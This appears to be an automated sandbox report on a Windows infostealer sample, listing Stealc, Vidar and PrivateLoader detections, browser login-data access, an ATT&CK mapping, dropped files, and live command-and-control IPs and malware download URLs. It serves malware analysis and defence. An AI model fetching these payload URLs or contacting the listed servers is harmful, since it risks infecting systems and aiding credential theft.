Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe

Code function: 1_2_00A4766F GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00A4766F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_004411F0 GetComputerNameA,__aulldiv,GlobalAlloc,LookupAccountNameA,GetLastError,ConvertSidToStringSidA,GetLastError,

2_2_004411F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_00417A30 GetTimeZoneInformation,

10_2_00417A30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0042CEA0 RtlGetVersion,GetVersionExA,

2_2_0042CEA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MSBuild.exe, 0000000E.00000002.1726961026.000000000163A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.1726961026.000000000166A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 8132, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.988ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.988ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1912654684.0000000000477000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1912654684.0000000000462000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1912654684.000000000049A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5748, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HJCfr5V5_QVbJA3PPM7OVXSs.exe PID: 5752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5924, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 5924, type: MEMORYSTR

Remote Access Functionality

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 8132, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.988ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.988ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.2OJr0kqvYIvMGmMoMnnzAHbc.exe.960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1912654684.0000000000477000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1912654684.0000000000462000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1912654684.000000000049A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5748, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 14.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HJCfr5V5_QVbJA3PPM7OVXSs.exe PID: 5752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5924, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	411 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	361 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
d1bc91bd44a0.exe	34%	ReversingLabs	Win32.Trojan.Generic
d1bc91bd44a0.exe	100%	Avira	HEUR/AGEN.1310458
d1bc91bd44a0.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe	100%	Joe Sandbox ML
C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	32%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://46.8.231.109/c4754d4f680ead72.php	100%	URL Reputation	malware
http://46.8.231.109/	100%	URL Reputation	malware
http://upx.sf.net	0%	URL Reputation	safe
http://46.8.231.109	100%	URL Reputation	malware
http://www.winimage.com/zLibDll	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ipinfo.io	34.117.59.81	true	false	unknown
jask.powerforxes.shop	147.45.44.104	true	false	unknown
iplogger.org	104.26.3.46	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
api64.ipify.org	173.231.16.77	true	false	unknown
proxy.johnmccrea.com	141.98.233.156	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://46.8.231.109/c4754d4f680ead72.php	true	URL Reputation: malware	unknown
https://api64.ipify.org/?format=json	false		unknown
https://steamcommunity.com/profiles/76561199780418869	true		unknown
https://ipinfo.io/widget/demo/8.46.123.33	false		unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
https://iplogger.org/1nhuM4.js	false		unknown
http://proxy.johnmccrea.com/	true		unknown
http://jask.powerforxes.shop/ldms/7f3c2473d1e6.exe#sp_vid	false		unknown
http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io:443/widget/demo/8.46.123.33	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109gr	MSBuild.exe, 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://proxy.johnmccrea.com/N	MSBuild.exe, 0000000E.00000002.1726961026.000000000163A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://proxy.johnmccrea.com/ontent-Disposition:	MSBuild.exe, 0000000E.00000002.1725881098.00000000004B3000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/widget/demo/8.46.123.33ba	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api64.ipify.org/	MSBuild.exe, 00000002.00000002.1449544714.0000000001161000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190:80/api/wp-ping.php	MSBuild.exe, 00000002.00000002.1449544714.0000000001161000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.microsoft.co	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://jask.powerforxes.shop/ldms/7f3c2473d1e6.exe#sp_vidb	MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.org/	MSBuild.exe, 00000002.00000002.1450200342.0000000003969000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190/f	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api64.ipify.org:443/?format=json	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190:80/api/wp-admin.phpD	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190/api/wp-admin.phpR	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipgeolocation.io/	d1bc91bd44a0.exe, MSBuild.exe	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://41.216.188.190/api/wp-ping.php	MSBuild.exe, 00000002.00000002.1449544714.0000000001161000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.0000000001127000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.org/z	MSBuild.exe, 00000002.00000002.1450200342.0000000003969000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://proxy.johnmccrea.com/gfdsgrewgdsfadsahttps://steamcommunity.com/profiles/76561199780418869u55	HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://api64.ipify.org/?format=json-	MSBuild.exe, 00000002.00000002.1449544714.0000000001127000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/ae5ed	HJCfr5V5_QVbJA3PPM7OVXSs.exe, HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://41.216.188.190/	MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190/api/wp-admin.php	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.org:443/1nhuM4.js	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://jask.powerforxes.shop/ldms/7f3c2473d1e6.exe#sp_vidC:	MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/d	MSBuild.exe, 0000000A.00000002.1913695959.00000000015B0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl?	MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_slC:	MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/Mozilla/5.0	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190/)	MSBuild.exe, 00000002.00000002.1449544714.000000000114D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109	MSBuild.exe, 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://46.8.231.109/m	MSBuild.exe, 0000000A.00000002.1913695959.00000000015B0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ipinfo.io/	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190:80/api/wp-admin.php	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl8	MSBuild.exe, 00000002.00000002.1449544714.0000000001213000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microsoft.c	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.winimage.com/zLibDll	d1bc91bd44a0.exe, d1bc91bd44a0.exe, 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://41.216.188.190:80/api/wp-admin.php_	MSBuild.exe, 00000002.00000002.1450554802.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/https://ipgeolocation.io/::	d1bc91bd44a0.exe, 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl&	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.org/Sh	MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://41.216.188.190/api/wp-admin.php0	MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
141.98.233.156	proxy.johnmccrea.com	Russian Federation	41011	CH-NET-ASRO	true
41.216.188.190	unknown	South Africa	40676	AS40676US	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
147.45.44.104	jask.powerforxes.shop	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.26.3.46	iplogger.org	United States	13335	CLOUDFLARENETUS	false
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525880
Start date and time:	2024-10-04 15:52:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	d1bc91bd44a0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/26@5/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 72% Number of executed functions: 94 Number of non-executed functions: 213
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.74, 40.126.32.136, 20.190.160.20, 40.126.32.140, 40.126.32.134, 40.126.32.68, 40.126.32.72, 40.126.32.133, 93.184.221.240, 20.189.173.22, 4.245.163.56, 20.3.187.198, 4.175.87.197, 52.165.164.15, 20.189.173.21, 20.109.210.53
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, wu.azureedge.net, login.live.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, hlb.apr-52dd2-0.edgecastdns.net, sls.update.microsoft.com, onedsblobprdwus16.westus.cloudapp.azure.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: d1bc91bd44a0.exe

Simulations

Behavior and APIs

Time	Type	Description
09:53:42	API Interceptor	5x Sleep call for process: WerFault.exe modified
09:54:13	API Interceptor	1x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
141.98.233.156	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jask.powerforxes.shop	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
ipinfo.io	setup.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	34.117.59.81
	sqlite.dll	Get hash	malicious	Unknown	Browse	34.117.59.81
	T3xpD9ZaYu.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	34.117.59.81
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	34.117.59.81
	Passport and card.vbs	Get hash	malicious	Unknown	Browse	34.117.59.81
	Passport.vbs	Get hash	malicious	Unknown	Browse	34.117.59.81
s-part-0032.t-0009.t-msedge.net	a43486128347.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	13.107.246.60
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.60
